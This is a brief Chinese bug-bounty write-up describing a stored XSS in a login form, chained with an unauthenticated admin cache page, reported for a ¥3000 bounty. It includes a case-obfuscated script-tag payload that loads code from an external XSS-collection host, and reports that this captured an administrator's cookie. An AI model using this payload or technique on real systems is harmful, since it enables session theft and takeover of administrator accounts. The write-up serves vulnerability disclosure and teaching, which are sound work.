一、内容介绍

登陆框处的存储XSS 高 ￥3000

二、挖掘过程

利用 未授权访问 + XSS Payload = 存储XSS

三、案例

之前在一次项目中，遇到了一个后台，此后台有账号密码，验证码等相关登陆功能，尝试弱口令等常规操作后发现没有收获，于是分析了JS。

经过分析JS后发现/index.html对应是后台地址，并且可以直接访问，访问后就如下图

可以看到只有两个功能，缓存设置和修改密码

测试修改密码功能失效，未遂

重点放在缓存设置，很幸运缓存设置没有做权限校验，可以看到当前程序请求缓存，于是乎就有了此文

于是在众多缓存中发现了我刚开始登陆的账号缓存信息，如果是错误会返回如上图ErrorXXXX_用户名的信息，最后是用户名。

于是鬼点子就来了，存储XSS！！！前台登陆处用户名使用此代码，用了一个大小写混淆的XSS

payload:

```

admin)"><sCRiPt sRC=http://xss.xxxxxx></sCrIpT>

```

此时模仿管理后台人员登陆，点击缓存查看后

XSS后台收到cookie。

四、技术总结

细心观察遇到如下图所示的网站，不要直接就放弃。